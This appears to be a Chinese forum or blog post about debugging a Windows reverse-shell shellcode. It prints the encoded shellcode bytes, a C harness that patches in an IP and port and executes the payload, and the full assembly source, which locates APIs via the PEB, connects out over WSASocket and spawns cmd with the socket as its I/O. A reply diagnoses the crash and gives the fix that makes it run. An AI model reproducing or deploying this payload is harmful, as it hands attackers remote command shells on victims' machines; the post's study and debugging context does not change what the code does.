现在的位置: 首页 > 综合 > 正文

reverse shellcode调试问题问答

2013年11月22日 ⁄ 综合 ⁄ 共 9400字 ⁄ 字号 评论关闭

不知道从哪里开始阐述……

我使用的shellcode源代码如下(只节选部分,还是History and Advances in Windows Shellcode中作者提供的那个reverse shellcode)

    db    0ebh, 02        ;jmp    $+2
    db    0ebh, 05        ;jmp    $+5
    db    0e8h, 0f9h,0ffh,0ffh,0ffh    ;call    $-7

    pop    eax                       ;eax为当前的内存地址了
    add    eax, 1bh               ;剩余解码的长度
    lea    esp,[eax-3ffh]
    and    esp, 0fffffffch
    mov    ebp,esp
    xor    ecx,ecx
    mov    cx,15bh        ;shellcode的长度
decode:
    xor    byte [eax], 96h
    inc    eax
    loop    decode         ;以上是解码decoder部分

    call    here

    db    "GetProcAddress",0,"LoadLibraryA",0
    db    "CreateProcessA",0,"ExitProcess",0
    db    "ws2_32",0,"WSAStartup",0,"WSASocketA",0
    db    "connect",0,"cmd",0
here:
    pop         edx

…………………………………………(略)这段就够了
  
  这个shellcode据作者介绍没有使用管道,因为使用了WSASocket()而不是socket创建套接子,原文Using WSASocket will create a socket
that will not have an overlapped attribute,所以可以直接将这个套接字的handle作为子进程的输入输出而不必用管道。因为以前从来没有调
试过shellcode,所以这次想自己调试下看看作者说的这个没用管道的shellcode能不能用。
  于是按照作者介绍的方法(我用nasm提取过,但作者精心编写的decoder部分经nasm转换成机器码后出现了许多连续的0,所以还是使用了tasm),先将上面的decoder
转换为机器码(/x形式),然后把shellcode部分转换为机器码再xor了0x96,得了shellcode(见如下程序)。

然后用如下程序来测试看shellcode能否能用:

#include <winsock.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")
#define   scip        "172.16.0.33"
#define    scport        520
//don't change the offset

unsigned char ShellCode[] =
"/xEB/x02/xEB/x05/xE8/xF9/xFF/xFF/xFF/x58/x83/xC0/x1B/x8D/xA0/x01/xFC"
"/xFF/xFF/x83/xE4/xFC/x8B/xEC/x33/xC9/x66/xB9/x5B/x01/x80/x30/x96"
"/x40/xE2/xFA"
"/x7E/xF6/x96/x96/x96/xD1/xF3/xE2/xC6/xE4/xF9/xF5/xD7/xF2/xF2/xE4"
"/xF3/xE5/xE5/x96/xDA/xF9/xF7/xF2/xDA/xFF/xF4/xE4/xF7/xE4/xEF/xD7"
"/x96/xD5/xE4/xF3/xF7/xE2/xF3/xC6/xE4/xF9/xF5/xF3/xE5/xE5/xD7/x96"
"/xD3/xEE/xFF/xE2/xC6/xE4/xF9/xF5/xF3/xE5/xE5/x96/xE1/xE5/xA4/xC9"
"/xA5/xA4/x96/xC1/xC5/xD7/xC5/xE2/xF7/xE4/xE2/xE3/xE6/x96/xC1/xC5"
"/xD7/xC5/xF9/xF5/xFD/xF3/xE2/xD7/x96/xF5/xF9/xF8/xF8/xF3/xF5/xE2"
"/x96/xF5/xFB/xF2/x96/xCC/xC4/xF2/xF1/x37/xA6/x96/x1D/xD6/x9A/x1D"
"/xE6/x8A/x3B/x1D/xCE/x9E/x1D/xE5/xAA/x95/x65/x1D/xE0/xEE/x95/x65"
"/x1D/xE8/xB6/x95/x6D/x1D/xD8/x82/xC0/xA5/x56/xC1/xC7/x1D/xA9/x95"
"/x6D/x1D/x64/xA5/x5F/x27/x98/x65/x30/xCF/xC9/xE2/x90/x15/x51/x92"
"/xD6/x74/x7E/xC8/x1D/xC0/xB2/x95/x45/x47/x76/x95/x54/xA5/x5F/xF0"
"/x1D/x9E/x1D/xD0/x8A/x95/x55/x57/x77/x94/x95/x57/x1D/x86/x95/x45"
"/xC8/x1D/x68/xA5/x5F/x27/x95/x7E/xEA/x96/x96/x96/x15/x50/x9A/xC4"
"/xC0/x69/xC1/x62/xCC/x1D/x4E/xA5/x5F/x27/x95/x7E/xFE/x96/x96/x96"
"/x15/x50/x9E/xC3/xFE/x97/x97/x96/x96/x69/xC1/x62/xA5/x56/xC6/xC6"
"/xC6/xC6/xD6/xC6/xD6/xC6/x69/xC1/x6E/x1D/x4E/xF0/x51/xD3/x96/x94"
"/x96/xF0/x51/xD3/x94/x96/xC6/x51/xD3/x92/x56/x3E/x97/xBF/xFC/x86"
"/xC3/xC5/x69/xC1/x6A/xA5/x5F/x27/x87/xC1/x1D/x6B/x65/x3D/xC9/x50"
"/xD3/x96/xD2/x1F/xCB/xAA/x1F/xCB/xAE/x1F/xCB/xD6/xF0/x51/xD3/xBA"
"/x97/x97/x1B/xD3/xD2/xC6/xC3/xC7/xC7/xC7/xD7/xC7/xDF/xC7/xC7/xC0"
"/xC7/x69/xC1/x7A/xC6/x69/xC1/x66/x1C/x90/xD0/x12/x56/xE3/x6F/xC7"
"/xC4/xC0/xC5/x69/x44/xCC/xCF/x3D/x74/x78/x55";

main()
{
    WSADATA wsa;
    unsigned short    port;
    unsigned long ip;

    WSAStartup(MAKEWORD(2,2),&wsa);
    port = htons(scport)^(u_short)0x9696;
    ip = inet_addr(scip)^0x96969696;
    memcpy(&ShellCode[0x129], &port, 2);
    memcpy(&ShellCode[0x12e], &ip, 4);

   ((void (*)(void)) &ShellCode)();

    return 0;
}

编译执行,提示(NTDLL.DLL): 0xC0000005: Access Violation,于是我用windbg打开编译好的执行文件,F5执行,
disassambly窗口如下(发现以下的代码是和源程序相同的):

00405030 eb02             jmp     image00400000+0x5034 (00405034)    ;db    0ebh, 02
00405032 eb05             jmp     image00400000+0x5039 (00405039)    ;db    0ebh, 05
00405034 e8f9ffffff       call    image00400000+0x5032 (00405032)    
00405039 58               pop     eax
0040503a 83c01b           add     eax,0x1b
0040503d 8da001fcffff     lea     esp,[eax-0x3ff]
00405043 83e4fc           and     esp,0xfffffffc
00405046 8bec             mov     ebp,esp
00405048 33c9             xor     ecx,ecx
0040504a 66b95b01         mov     cx,0x15b
0040504e 803096           xor     byte ptr [eax],0x96
00405051 40               inc     eax
00405052 e2fa             loop    image00400000+0x504e (0040504e)
00405054 e860000000       call    image00400000+0x50b9 (004050b9)

windbg显示错误是出现在以下指令:
00405054 e860000000       call    image00400000+0x50b9 (004050b9)
这条指令对应源程序中的
call    here

我以为decoder执行完了,到call的时候因为将下一条指令地址写入esp时出现冲突错误了,但我仍想看看decode
是否正常执行,所以用windbg重新载入这个编译好的执行文件,先按几次f10到程序执行的空间,然后在地址00405039处(对应add eax,0x1b)
下执行断点(ba e1 00405039),我想看看这时上条语句pop eax中的eax是不是下一条指令的地址,由此判断decoder一开始
是否正常执行,但奇怪的是程序并没有中断,而是直接在call here执行出错了。

于是我只有又重新载入,慢慢用f10往前走,结果到了ntdll!KiUserApcDispatcher的call ntdll!NtContinue,跟进去后显示如下:
77f82881 b81c000000       mov     eax,0x1c
77f82886 8d542404         lea     edx,[esp+0x4]
77f8288a cd2e             int     2e
77f8288c e992740100       jmp     ntdll!NtContinue+0xb (77f99d23)

当f8到int 2e的时候就直接跳到了(没有执行decode部分)
00405054 e860000000       call    image00400000+0x50b9 (004050b9)

就是shellcode中的call here了,提示出错:

(810.7fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=004051af ebx=7ffdf000 ecx=00000000 edx=000010ac esi=00089e94 edi=77fcc7c2
eip=00405054 esp=00404c54 ebp=00404c54 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010206

所以好像根本就没有执行decoder。
========================

shellcode的源代码:

;reverse shellcode
;ip at 0x141
;port at 0x13c
;sk scan-associates net

.386p
locals
.model flat, stdcall

.code        
start:

    db    0ebh, 02        ;jmp    $+2
    db    0ebh, 05        ;jmp    $+5
    db    0e8h, 0f9h,0ffh,0ffh,0ffh    ;call    $-7

    pop    eax
    add    eax, 1bh
    lea    esp,[eax-3ffh]
    and    esp, 0fffffffch
    mov    ebp,esp
    xor    ecx,ecx
    mov    cx,15bh        ;size
decode:
    xor    byte ptr [eax], 96h
    inc    eax
    loop    decode

    call    here    

    db    "GetProcAddress",0,"LoadLibraryA",0
    db    "CreateProcessA",0,"ExitProcess",0
    db    "ws2_32",0,"WSAStartup",0,"WSASocketA",0
    db    "connect",0,"cmd",0
here:
    pop         edx  
    push        edx

    mov   eax,fs:[30h]
        mov   eax,[eax+0ch]
        mov   esi,[eax+1ch]
        lodsd
        mov   ebx,[eax+08h]
  
l2:
    mov         esi,dword ptr [ebx+3Ch]
    add         esi,ebx
    mov         esi,dword ptr [esi+78h]
    add         esi,ebx
    mov         edi,dword ptr [esi+20h]
    add         edi,ebx
    mov         ecx,dword ptr [esi+14h]
    push        esi  
    xor         eax,eax
l4:
    push        edi  
    push        ecx  
    mov         edi,dword ptr [edi]
    add         edi,ebx
    mov         esi,edx
    xor         ecx,ecx
;GetProcAddress
    mov         cl,0Eh
    repe cmps   byte ptr [esi],byte ptr [edi]
    pop         ecx  
    pop         edi  
    ;je          l3
    db    74h, 6h
    add         edi,4
    inc         eax  
    loop        l4
;    jmp         ecx  
l3:
    pop         esi  
    mov         edx,dword ptr [esi+24h]
    add         edx,ebx
    shl         eax,1
    add         eax,edx
    xor         ecx,ecx
    mov         cx,word ptr [eax]
    mov         eax,dword ptr [esi+1Ch]
    add         eax,ebx
    shl         ecx,2
    add         eax,ecx
    mov         edx,dword ptr [eax]
    add         edx,ebx
    pop         esi  
    mov         edi,esi
    xor         ecx,ecx
;Get 3 Addr
    mov         cl,3
    call        loadaddr
    add         esi,0Ch
;Load ws2_32
    push        edx  
    push        esi  
    call        dword ptr [edi-0Ch] ;LoadLibraryA
    pop         edx  
    mov         ebx,eax
    xor         ecx,ecx
    mov         cl,3
    call        loadaddr
    add         esi,8
    push        ebp  
    push        101h
    call        dword ptr [edi-0Ch] ;WSAStartup
    xor    eax,eax
;    test        eax,eax
;    jne         exit
    push        eax  
    push        eax  
    push        eax  
    push        eax  
    inc         eax  
    push        eax  
    inc         eax  
    push        eax  
    call        dword ptr [edi-8] ;WSASocketA
;    cmp         eax,0FFFFFFFFh
;    je          exit
    mov         ebx,eax
    mov         word ptr [ebp],2
    mov         word ptr [ebp+2],5000h ;port
    mov         dword ptr [ebp+4], 2901a8c0h ;IP
    push        10h  
    push        ebp  
    push        ebx  
    call        dword ptr [edi-4] ;connect
;    test        eax,eax
;    jne         exit
    xor         ecx,ecx
    mov         cl,11h
    push        edi  
    mov         edi,ebp
    rep stos    dword ptr [edi]
    pop         edi  
    mov         byte ptr [ebp],44h
    mov         dword ptr [ebp+3Ch],ebx
    mov         dword ptr [ebp+38h],ebx
    mov         dword ptr [ebp+40h],ebx
    mov         word ptr [ebp+2Ch],0101h
    lea         eax,[ebp+44h]
    push        eax  
    push        ebp  
    push        ecx  
    push        ecx  
    push        ecx  
    inc         ecx  
    push        ecx  
    dec         ecx  
    push        ecx  
    push        ecx  
    push        esi  
    push        ecx  
    call        dword ptr [edi-14h] ;CreateProcess
exit:
    push        eax  
    call        dword ptr [edi-10h] ;ExitProcess
loadaddr:
    mov         al,byte ptr [esi]
    inc         esi  
    test        al,al
    jne         loadaddr
    push        ecx  
    push        edx  
    push        esi  
    push        ebx  
    call        edx  
    pop         edx  
    pop         ecx  
    stosd
    loop        loadaddr
    ret              

end     start

.data
;port at 129h
;ip at 12eh

=============

你这个代码编译后,ShellCode是放在程序的.data段的,这个段不可写。

lea    esp,[eax-3ffh]这一句会把esp指向ShellCode的某处,后面call的时候要往esp压返回地址,而此时esp指向一个不可写的地址,自然就会错了。

实际应用中,ShellCode肯定处于一块可写的内存中,所以不会有问题。

如果你想代码能正常运行,最简单的办法就是把ShellCode挪到main()里面。
我说错了,lea    esp,[eax-3ffh]后的esp是在.rdata里面,.rdata是不可写的。

ShellCode[] 挪到main()里面之后,就是局部变量了,main()调用的ShellCode[] 实际上是复制到栈区里面的一份拷贝,lea    esp,[eax-3ffh]后,esp还是在栈里。

shellcode不能保证自己处于什么环境,没谁能保证。

抱歉!评论已关闭.